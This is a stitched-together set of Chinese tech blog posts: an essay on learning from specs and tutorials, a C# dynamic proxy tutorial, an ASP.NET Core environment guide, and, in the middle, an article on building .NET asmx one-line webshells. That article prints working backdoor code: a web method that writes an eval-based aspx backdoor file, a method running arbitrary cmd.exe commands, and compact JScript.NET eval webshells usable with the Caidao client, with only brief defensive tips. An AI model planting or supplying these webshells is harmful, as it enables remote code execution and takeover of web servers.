黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙。
这段描写出自《倚天屠龙记》第三十八回。
“九阴神抓”本是《九阴真经》中的上乘武功,但当初梅超风夫妇由于拿到的《九阴真经》不完整,学不到里面的内功心法,硬是把这门上乘武功练到了邪路上,于是就成了“九阴白骨爪”。周芷若为求速成,也练就了这门邪功。
但黄衫女子乃出身武林名门(相传是杨过和小龙女的后人),自然修炼的是正宗的《九阴真经》。虽然武功路数与周芷若本同属一脉,但更加“醇真深厚”,自然也更胜一筹。这是金庸武侠中“正宗”武功胜过“野路子”的一个典型案例。
那么,这是否能够说明,“正宗”一定强于“野路子”呢?
且慢!
喜欢金庸武侠的朋友,可还记得《越女剑》中的阿青?
阿青本是一名牧羊女,却在牧羊时巧遇一头会使竹棒的白猿。在与白猿的玩耍嬉闹中,她硬是悟得了高超的剑法,竟能以一人之力敌两千越甲!
就是这样一个从野路子练出来的柔弱女子,即使按广大金庸迷的保守估计,她也能在整个金庸武侠图谱中至少排名前五!
做技术,犹如修习一门武功。
历数我周围的技术牛人(牛不到一定程度的先不算),他们中既有名牌大学计算机科班毕业的,也有半路出家转行过来的。
但他们都有一个共同特点:他们在遇到问题后,思考片刻,总是能一下子切中要害,在表达上也往往一语中的。这也包括那些平常不善言辞的程序员。反观那些“更一般”的程序员(其中不乏科班毕业的),他们经常很难抓住问题的本质,表达起来也总是说不到点子上。
可见,“正宗”还是“野路子”,并不在出身。
写到这里,我终于自己长出了一口气。我出身一个极普通的农民家庭,既不是书香门第,也不是技匠世家。记得在大学一年级的上机编程课上,我才发现自己原来根本不会用键盘打字。相比那些初中高中就把计算机玩得很溜的同学,我算野路子吗?
好了,那“正宗”还是“野路子”,不在出身在什么呢?
在于学习和思考的方法。
据我观察,技术牛人的学习方法和思考方式,大体类似。
思考方式,是个很难说清的东西。所以,本文我们重点来讨论讨论学习的方法。
面对一项新技术的时候,我们怎样去学习才能循序渐进,最终理解得深刻?
让我们先把可供自学的资料列出来,分析一下:
- Tutorial(入门教程)。由该项技术的官网提供。通常是英文的。这份资料是给初次接触该项技术的人看的,一般是一步一步地教你完成某些例子。当我们说某项技术对于新手不太友好的时候,一般也是因为这项技术的Tutorial部分做得不够好。
- Specification,简称Spec。这是集中体现该项技术的设计思想的东西,是高度抽象的描述。这个一般也是一份完备的、系统的描述,包含该项技术涉及到的方方面面。这部分资料在不同的地方叫法不同,在相对简单的技术项目中,也可能没有;在另一些情况下,这部分资料混杂在其它文档资料之中;它还可能以论文(paper)的形式出现。
- API Reference。大而全的API索引和文档,针对不同的语言接口可能提供多份。当我们使用这项技术进行编程的时候,API Reference自然是个离不开的、总是要不停去查询的一份资料。
- 别人写的技术博客。质量良莠不齐,到底有没有价值,我们要学会去分辨。
- 技术书籍。跟技术博客类似,质量有好有坏。稍后我们和技术博客放在一起来分析。
- Source Code。如果我们要学习的技术是开源的,那么很幸运,我们能得到源代码。这是一份终极资料。
为了让这些概念表达无误,我接下来多举一些例子。
Java语言
从来没有接触过Java语言的人,要想开始自学Java,从哪里开始呢?可以从Oracle官方提供的Tutorial入手:
这份资料《The Java™ Tutorials 》,集中体现了Tutorial类型的资料的特点。它从最开始的编译和运行环境搭建说起,教你写出第一个Hello World,再用介绍的方式将Java各种语言特性(变量、类、泛型、Lambda表达式、JavaBeans,等等)进行讲解,同时还有对于JDK里常用API(集合类、多线程、IO等等)的介绍。
对初学者而言,需要的就是这样一份资料。即使你手头没有任何Java的入门书籍,读完这样的一份资料之后,一个新手基本就可以开始使用Java来编程了。
再看Spec:
这份文档,叫做《The Java® Language Specification》。是一份很典型的Spec,完备而规范。
任何讲Java语法的资料,包括各种书籍和前面提到的Tutorial,都只能涉及部分。而这份Spec,如果你能读通的话,那么与Java语言特性有关的所有一切,你就再也不用求人了。
JDK 8的API Reference:
用Java语言编程的时候,我们需要不断查阅的就是这份API Reference。我们平常一般是通过IDE来快速查看某个接口的文档说明。
Android开发
Android针对新手的Tutorial类型的资料,官网上称为Training:
这份资料是典型的Tutorial。它教你制作第一个Android App,并针对若干个主题进行一步一步的教学。
下面这份资料在Android官网上被称为:API Guides。
它实际上是一份介于Tutorial和Spec之间的文档。它有很多Spec的特点,比如它介绍Android中的抽象的四大组件的概念,介绍资源尺寸的抽象(dp),介绍View层原理,等等。但是,跟前面看到的Java Spec相比,它没有那么规范和正式,描述也更随意一些,估计也算不上完备(但涉及到了Android技术的绝大部分)。
当我们对Android中某项具体技术存疑,或是有争论的时候,我们就需要来翻翻这份文档。因此,它基本可以归入Spec类型。
然后是Android SDK的API Reference:
这份API Reference的质量并不高,描述上过于简略,甚至模糊不清,其可读性跟前面提到的JDK 8的API Reference完全不在一个水平上。这也是一些开源项目的通病,不重视接口文档。
iOS开发
苹果在iOS开发方面给出的文档是相当丰富的,这也是一个闭源系统做得好的地方。
iOS开发的文档,很难区分出Tutorial和Spec这两个层面。它由很多文档组成,每个文档描述系统的某一方面。通常是在一个文档中,既有教学的部分,又有完备描述的部分。
针对完全的新手入门的话,下面这个文档,算是真正的一个Tutorial:
- Start Developing iOS Apps (Swift)(https://developer.apple.com/library/ios/referencelibrary/GettingStarted/DevelopiOSAppsSwift/index.html)
其它各个文档也是介于Tutorial和Spec之间,更偏向Spec。比如:
- App Programming Guide for iOS(https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Introduction/Introduction.html)
- View Controller Programming Guide for iOS(https://developer.apple.com/library/ios/featuredarticles/ViewControllerPGforiPhoneOS/index.html)
- View Programming Guide for iOS(https://developer.apple.com/library/ios/documentation/WindowsViews/Conceptual/ViewPG_iPhoneOS/Introduction/Introduction.html)
- Core Animation Programming Guide(https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/CoreAnimation_guide/Introduction/Introduction.html)
- Concurrency Programming Guide(https://developer.apple.com/library/ios/documentation/General/Conceptual/ConcurrencyProgrammingGuide/Introduction/Introduction.html)
然后是iOS的API Reference:
如前所述,这份API Reference的可读性非常高,比Android SDK的要强多了。很多前后相关的概念,在这份API Reference的描述中,都有体现。
当然,除了developer.apple.com之外,iOS的文档也都可以通过XCode取到。
Redis
Redis的Tutorial是我见过的最好的Tutorial,它对初学者非常友好,不仅能读,还能执行。
Redis的Spec举例:
- Redis Protocol Specification (http://redis.io/topics/protocol)
- Redis Cluster Specification (http://redis.io/topics/cluster-spec)
- Redis RDB Dump File Format (https://github.com/sripathikrishnan/redis-rdb-tools/wiki/Redis-RDB-Dump-File-Format)
Redis的Commands Reference:
TCP/HTTP
网络协议与前面的都不同,它不是一个实现,而是一种标准。
网络协议的Spec文档很明显,就是它们对应的RFC。如果你的工作经常涉及到使用某个网络协议,恐怕就需要找来RFC通读一遍了。
再来说一下技术博客和技术书籍。
现在网上的技术文章空前繁荣,想读都读不过来。胡峰同学在他的微信公众号“瞬息之间”上,发过一篇文章《技术干货的选择性问题》,讨论的就是技术人员在当前技术文章爆炸的情况下如何取舍的问题。
在这里,我们从另一个角度来讨论一下这个问题。如果一篇技术文章,仅仅是对于所涉及技术的官方文档(Tutorial或Spec)的复述,甚至只是个翻译,那么就价值不高。换句话说,如果我们能通过阅读官方文档学到同样的知识,那为什么要看你写的技术文章呢?官方文档自然更权威,直接阅读它能确保不会遗漏重要的东西。
那什么样的技术文章才有价值呢?大概可以说(未必那么准确),那些包涵了实践经验的,能将各个技术点综合起来产生思考,从而给人以启迪的。简单来说,就是有深度的。
当然,技术书籍也大体如此。
我们回过头来再看一下,各个学习资料之间的层次结构。
每当我们接触一项新的技术的时候,我们都要把手头的资料按照类似的这样一个金字塔结构进行分类。如果我们阅读了一些技术博客和技术书籍,那么也要清楚地知道它们涉及到的是金字塔中的哪些部分。
最开始,一般读完Tutorial之后,就基本能上手做一些开发工作了。然后一边开发,一边查阅API Reference。注意,从这时候起,你的老板就开始向你付工资了,因为你的工作已经能够产出成果了。
但是,工作一段时间之后,我们发现,似乎身边的技术牛人学东西都比较快,而且在很短的时间内就能对某项新技术达到很深的理解。这是为什么呢?
这并不是因为技术牛人阅读技术资料阅读得快,而是他们知道阅读正确的资料,从而很快能达到知识金字塔更高的一层。
我见过的很多技术牛人,他们如果不是把一项技术至少理解到Spec那个层次,他们是不敢随便写代码的。相反另一些人则从网上随意拷贝代码,并在自己不能完全理解的情况下用到项目中去。技术牛人们当然也参考网上的代码,但他们通常会确保它的每一部分都能安放在知识金字塔的某一部分,他们不容许那种不属于任何体系的知识孤岛的出现。
我们现在可以这样总结,技术的“野路子”,其实是知识结构的不完整和不系统造成的一种状态。只有当你冲破知识金字塔层层的障碍,迈向更高层次的时候,老板才开始向你付高价。
我们的大脑好比内存。
既然是内存,就装不下所有的知识。但应该能装下对于知识的索引,否则我们便没法工作了。
那么,这里就有一个选择性的问题:我们选择哪部分知识加载到“内存”里呢?
显然,应该优先选择重要的,对我们最有用的信息。
对于那些最核心的技术,我们应该做到:
- 通读Spec。读完就不再困惑。
- 重要部分的API Reference要通读。里面包含了很多跟实现有关的信息。
- 如果工作需要,还可能需要读到Source Code。特别是对于平常一直在使用的SDK,不一定从头到尾把源码读通,这样工作量太大且效率不高,但一定要把你的开发环境设置成一点击某个调用的方法就能跳转进源码实现。只有这样,你才能把平常开发的时间利用起来,随时随刻都点过去看源码。
对于剩下的知识里80%的部分,应该至少理解到Spec层次。只有这样,我们才能游刃有余地去使用它。
通读重要的Spec,在很多情况下,其实还是很有难度的。这需要毅力,和一点点英语基础。
按本文前面提到的例子,做Java的人有谁读过Java Spec?做Android的人有谁把developer.android.com上的API Guides都能通读下来?而做iOS的人,developer.apple.com上的各个Programming Guide又完整地读过几个?对于经常调用的SDK,你会有计划地去通读其中重要部分的API Reference吗?
能够把这一套做下来的,有可能不成为技术牛人吗?
到了文章最后了,总感觉还有些意犹未尽,脑海中似乎有些东西还是没有表达出来,也不确定本文描述的学习方式是不是适用于每位读者。仔细想想也难怪,学习本来就是一个复杂的问题,每个人并不是完全一样的套路。
但是,不管本文介绍的方法是“正宗”的路子,还是属于“野路子”,我在这里想要强调的一点是很明确的,那就是:要把知识梳理成系统的结构,要让头脑中的知识层次清楚,为此,我们需要阅读恰当的东西,需要不断地练习,需要克服种种困难。
成长没有捷径可走。需要的是一个一个坚实的突破。
c#, AOP动态代理实现动态权限控制(一)
因最近工作需要一个动态的权限配置功能,具体实现逻辑是c#的动态代理功能,废话不多说,直接干货。
需求:
- 用户分为管理员、普通用户
- 不同用户拥有不同功能权限
- 用户的权限可配置
- 新增功能时,不用修改权限配置功能
从本篇开始我们使用动态代理完成一个案例,包含动态权限控制的核心功能。
- c# 如何实现动态代理
c#实现动态代理可以使用.net framework 中提供的RealProxy类。
可以看到RealProxy是一个抽象类,其中Invoke是必须要重写的,我们尝试重写下RealProxy。
public class Proxy : RealProxy { public Proxy(Type t) : base(t) { } public override IMessage Invoke(IMessage msg) { throw new NotImplementedException(); } }
现在我们拥有自己的代理类了,我们需要一个“被代理”的对象,于是。
//被代理的类一定要继承自MarshalByRefObject public class Plane : MarshalByRefObject { public void Fly() { Console.WriteLine("fly"); } }
准备工作都做完了,究竟要如何实现代理,我们可以通过RealProxy的GetTransparntProxy()方法来实现。
于是
static void Main(string[] args) { Proxy proxy = new Proxy(typeof(Plane), new Plane()); Plane plane = (Plane)proxy.GetTransparentProxy(); plane.Fly(); }
接下来调试运行,代码执行到fly()方法,在invoke方法抛出异常,可以看出在msg参数中找到我们执行的方法信息与参数。代理模式的原理就是如此,通过代理类的代理方法去执行被代理类的方法。
接下来我们利用msg的参数信息去调用fly()方法。
public class Proxy : RealProxy { public Plane instance = null; public Proxy(Type t, Plane plane) : base(t) { this.instance = plane; } public override IMessage Invoke(IMessage msg) { Console.WriteLine("代理方法"); var methodCall = (IMethodCallMessage)msg; var result = methodCall.MethodBase.Invoke(instance, methodCall.Args); return new ReturnMessage(result, null, 0, methodCall.LogicalCallContext, methodCall); } }
运行结果
好了,我们可以看到代理方法已经生效了,这也是最最核心的功能。
探索基于.NET下实现一句话木马之asmx篇
0x01 前言
上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款asmx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx ,依旧是一个大马如下图
这个还只是对客户端的菜刀做了适配可用,暂时不符合一句话木马的特点哈,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 asmx的运行过程。
0x02 简介和原理
Web Service是一个基于可编程的web的应用程序,用于开发分布式的互操作的应用程序,也是一种web服务,Web Service的主要目标是跨平台的可互操作性,为了实现这一目标Web Service 完全基于XML(可扩展标记语言)、XSD(XML Schema)等独立于平台、独立于软件供应商的标准,是创建可互操作的、分布式应用程序的新平台。简单的来说Web Service具备三个要素SOAP(Simple Object Access Protocol)、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)之一, SOAP用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发查询webService ,也因此使用Web Service有许多优点,例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下WebService工作的流程
无论使用什么工具、语言编写 WebService,都可以使用 SOAP 协议通过 HTTP 调用,创建 WebService 后,任何语言、平台的客户都可以阅读 WSDL 文档来调用 WebService ,同时客户端也可以根据 WSDL 描述文档生成一个 SOAP 请求信息并发送到Web服务器,Web服务器再将请求转发给 WebService 请求处理器。
对于.Net而言,WebService请求处理器则是一个 .NET Framework 自带的 ISAPI Extension。Web请求处理器用于解析收到的SOAP请求,调用 WebService,然后生成相应的SOAP应答。Web服务器得到SOAP应答后,在通过HTTP应答的方式将其返回给客户端,但WebService也支持HTTP POST请求,仅需要在服务端增加一项配置即可。
0x03 一句话的实现
3.1、WebMethod
在Web Service程序中,如果一个公共方法想被外界访问调用的话,就需要加上WebMethod,加上[WebMethod]属性的公有方法就可以被访问,而没有加这个属性的方法就是不能被访问的。将 WebMethod 属性 (Attribute) 附加到 Public 方法表示希望将该方法公开为 XML Web services 的一部分,它具备6个属性:Description 、EnableSession、MessageName、TransactionOption、CacheDuration、BufferResponse,为了更清晰的表述WebService请看下面这段代码
这里声明成一个字符串类型的公共方法HelloWorld,如果此时在方法体内实现创建aspx文件,保存内容为一句话小马的话那么这个WebService就变成了服务后门,依照这个推理就产生了C#版本的WebService小马,实现了两个功能,一个是创建文件,还有一个是执行CMD命令,核心代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
[System.ComponentModel.ToolboxItem(
false
)]
[WebMethod]
/**
Create A BackDoor
**/
public
string
webShell()
{
StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath(
"Ivan.aspx"
));
wickedly.Write(
"<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>"
);
wickedly.Flush();
wickedly.Close();
return
"Wickedly"
;
}
[WebMethod]
/**
Exec Command via cmdShell
**/
public
string
cmdShell(
string
input)
{
Process pr =
new
Process();
pr.StartInfo.FileName =
"cmd.exe"
;
pr.StartInfo.RedirectStandardOutput =
true
;
pr.StartInfo.UseShellExecute =
false
;
pr.StartInfo.Arguments =
"/c "
+ input;
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
String ocmd = osr.ReadToEnd();
osr.Close();
osr.Dispose();
return
ocmd;
}
|
知道原理后就开始着手打造菜刀可用的一句话木马,和一般处理程序类似通过Jscript.Net的eval方法去实现代码执行,根据之前的介绍WebMethod有多个属性并且根据微软的官方文档 https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29 可以得出Jscript.Net中可以使用 WebMethodAttribute 来替代[WebMethod]。
一句话实现的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<%@ WebService Language=
"JScript"
class
=
"asmxWebMethodSpy"
%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public
class
asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var
I = HttpContext.Current;
var
Request = I.Request;
var
Response = I.Response;
var
Server = I.Server;
Response.Write(
"<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>"
);
eval(Ivan);
}
}
|
打开浏览器,测试效果如下
依照SOAP1.1的规范要求,发送请求的数据包就可以实现一句话代码执行,笔者这里还是拿当前的时间作为攻击载荷,如下图
3.2、ScriptMethod
在研究WebMethod的时候,发现VisualStudio有段注释如下图
当客户端请求的方式是AJAX的时候会导入System.Web.Script.Services.ScriptService命名空间,笔者尝试去挖掘一下可能存在的新的攻击点
代码里ResponseFormat表示方法要返回的类型,一般为Json或者XML; UseHttpGet等于true表示前台的ajax是通过GET可以访问此方法,如果前台ajax通过POST,则报错。
根据C#中的代码可知需要配置WebMethod和ScriptMethod才能正常玩转,而在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类,最终写出一句话木马服务端代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<%@ WebService Language=
"JScript"
class
=
"ScriptMethodSpy"
%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public
class
ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var
I = HttpContext.Current;
var
Request = I.Request;
var
Response = I.Response;
var
Server = I.Server;
Response.Write(
"<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>"
);
eval(Ivan);
}
}
|
打开浏览器输入 Response.Write(DateTime.Now) 成功打印出当前时间
可惜的是这种方法不支持.NET 2.0究其原因是using System.Web.Script.Services;这个命名空间并不在System.Web中,而是在ajax扩展中需要额外安装ASP.NET 2.0 AJAX Extensions,所以在2.0的环境下尽量避免使用该方法。
0X04 菜刀连接
菜刀不支持SOAP的方式提交payload,直接连接asmx文件就会出现下图错误
第一种解决方法可以自己写代码实现支持SOAP的客户端,第二种办法参考asmx页面最下方给出的HTTP POST提交方式
本地环境下用菜刀连接没问题,可以正常连接
但通常部署到服务器上可能会遇到下面的提示
多数情况下程序开发者会支持HTTP POST请求,所以对此不必过于担心。还有就是基于优化考虑将asmxWebMethodSpy.asmx进一步压缩体积后只有499个字节,asmxScriptMethodSpy.asmx也只有547个字节。
0x05 防御措施
通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;对于Web应用来说,尽量保证代码的安全性;对于IDS规则层面来说,上传的时候可以加入WebMethodAttribute等关键词的检测
0x06 小结
还有本文提供了两种方式实现asmx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;文章的代码片段请参考 https://github.com/Ivan1ee ;
0x07 参考链接
https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29
https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx
https://www.cnblogs.com/bpdwn/p/3479421.html
asp.net core 系列 9 环境(Development、Staging 、Production)
一.在asp.net core中使用多个环境
ASP.NET Core 配置是基于运行时环境, 使用环境变量。ASP.NET Core 在应用启动时读取环境变量ASPNETCORE_ENVIRONMENT,并将该值存储在 IHostingEnvironment.EnvironmentName 中。ASPNETCORE_ENVIRONMENT 可设置为任意值,但框架支持三个值:Development、Staging 和 Production。 如果发布项目未设置 ASPNETCORE_ENVIRONMENT,则默认为 Production (本机vs中项目Properties\launchSettings.json中environmentVariables默认设置的是Development,如果禁用environmentVariables,那默认则为Production)。
下面是Startup. Configure中的默认实现,本机默认配置的是Development环境。
//如果是Development环境 if (env.IsDevelopment()) { //当捕获同步和异步系统。管道中的异常实例,并生成HTML错误响应。 app.UseDeveloperExceptionPage(); } else { //如果不是Development环境,向管道中添加一个中间件,用于捕获异常、记录异常并进行重置 app.UseExceptionHandler("/Home/Error"); app.UseHsts(); }
1.1 Development 模式
开发环境可以启用不应该在生产中公开的功能, 例如ASP.NET Core 模板在开发环境中启用了开发人员异常页(app.UseDeveloperExceptionPage())。当出现异常时,显示错误页信息如下图所示:
本地计算机开发环境可以在项目的 Properties\launchSettings.json 文件中设置。 在 launchSettings.json 中设置的环境值替代在系统环境中设置的值。新建的mvc项目默认配置如下:
{ "iisSettings": { "windowsAuthentication": false, "anonymousAuthentication": true, "iisExpress": { "applicationUrl": "http://localhost:30081", "sslPort": 44349 } }, "profiles": { "IIS Express": { "commandName": "IISExpress", "launchBrowser": true, "environmentVariables": { "ASPNETCORE_ENVIRONMENT": "Development" } }, "MyNetCoreStudy_MVC": { "commandName": "Project", "launchBrowser": true, "applicationUrl": "https://localhost:5001;http://localhost:5000", "environmentVariables": { "ASPNETCORE_ENVIRONMENT": "Development" } } } }
launchSettings.json 中的 applicationUrl 属性可指定服务器 URL 的列表。 在列表中的 URL 之间使用分号。注意:launchSettings.json只用于本机在vs 中开发使用,在开发中可以选择三种之中任意一种的环境模式。当项目发布后,发布后(iis做反向代理),发布的文件中并不会有launchSettings.json文件。
如果不用vs来启动应用程序,使用 dotnet run 命令来 启动应用程序时,使用具有 "commandName": "Project" 的第一个配置文件。 commandName 的值指定要启动的 Web 服务器。 commandName 可为以下任一项:IIS Express、IIS、Project(启动 Kestrel 的项目)。
当使用dotnet run 启动应用时:1会读取 launchSettings.json中的environmentVariables;2是会显示打印出host 环境。
1.2 Production 模式
Production 环境应配置为最大限度地提高安全性、性能和应用可靠性。 不同于开发环境的一些通用设置包括:
(1) 缓存
(2) 客户端资源被捆绑和缩小,并可能从 CDN (网络分发)提供。
(3) 已禁用诊断错误页。
(4) 已启用友好错误页。
(5) 已启用生产记录和监视。
二. 环境设置
在项目中为测试设置特定环境通常很有用。 如果未设置环境,默认值为 Production
,这会禁用大多数调试功能。设置环境的方法取决于操作系统。例如将asp.net core razor项目发布后,部署到IIS上,访问OtherPages/page1时出现异常。此时默认是Production
环境变量,会
显示了error页面信息, 表示已启用友好错误页。如下图所示 :
2.1 修改环境变量
上面讲到,设置环境的方法取决于操作系统:有Azure 应用服务、Windows、macOS、Linux等。每种操作系统上设置环境变量的方法不同,这里不在介绍,具体参考文档。这里就先只介绍在Windows操作系统上以iis做反向代理的配置环境变量。
在Windows操作系统上配置环境变量方法有很多。当发布后,文件中有一个web.config。这里就介绍下在web.config中设置 ASPNETCORE_ENVIRONMENT
环境变量。使用 web.config 设置 ASPNETCORE_ENVIRONMENT
环境变量后,它的值会替代系统级设置。
<aspNetCore processPath="dotnet" arguments=".\MyNetCoreStudy.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout" hostingModel="InProcess"> <environmentVariables> <environmentVariable name="ASPNETCORE_ENVIRONMENT" value="Development" /> </environmentVariables> </aspNetCore>
此时iis上该项目就是Development开发环境了,再次访问OtherPages/page1时出现异常,此时会捕获同步和异步系统。管道中的异常实例,并生成HTML错误响应。详细异常信息如下图所示:
三. 发布到IIS上步骤
下面简单讲下发布到IIS上的步骤实现:
(1) 安装好IIS,网上很多参考资料。
(2)下载dotnet-hosting-2.2.1-win.exe 用于在iis上处理对web服务器的请求。下载地址介绍:
在里面找到“当前 .NET Core 托管捆绑包安装程序(直接下载)”这里进去可以下载到当前版本(aspnetcore-2.2),安装后,在iis模块中能看到AspNetCoreModuleV2。对应发布项目中web.config的<handlers>处理。
<handlers> <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" /> </handlers>
(3) 在vs中右击项目发布,选择"iis Ftp" 点击发布。 选择“文件系统”, 目标位置可以选择当前电脑位置如: D:\DonetCoreStudy\IIS
(4) 在iis这边,添加网站
(5) 在应用程序池中对项目(MyNetCoreStudy) 选择无托管代码。
这样发布到iis上就成功了。
四. 基于环境的 Startup 类
最后在讲下Startup 类约定。当 ASP.NET Core 应用启动时,会启动Startup类。 应用程序可以为不同的环境,单独定义 Startup 类。可以定义例如: StartupDevelopment类、StartupProduction类,Startup类。当程序运行时会选择相应的 Startup 类。 程序会优先考虑名称后缀与当前环境相匹配的类。如果是Developmen环境则程序进入StartupDevelopment类,如果是Production环境则程序进入StartupProduction类。如果找不到匹配的 Startup{EnvironmentName},就会使用 Startup 类。
基于环境的 Startup 类实现代码如下:
public class StartupDevelopment { public void ConfigureServices(IServiceCollection services) { // ... } public void Configure(IApplicationBuilder app, IHostingEnvironment env) { // ... } } // Startup class to use in the Production environment public class StartupProduction { public void ConfigureServices(IServiceCollection services) { //... } public void Configure(IApplicationBuilder app, IHostingEnvironment env) { // ... } } // Fallback Startup class // Selected if the environment doesn't match a Startup{EnvironmentName} class public class Startup { public void ConfigureServices(IServiceCollection services) { //... } public void Configure(IApplicationBuilder app, IHostingEnvironment env) { //... } }
/// <summary> /// 根据环境变量,动态加载Startup的程序集类 /// </summary> /// <param name="args"></param> /// <returns></returns> public static IWebHostBuilder CreateWebHostBuilder(string[] args) { var assemblyName = typeof(Startup).GetTypeInfo().Assembly.FullName; return WebHost.CreateDefaultBuilder(args) .UseStartup(assemblyName); }
参考文献
官方资料:asp.net core 环境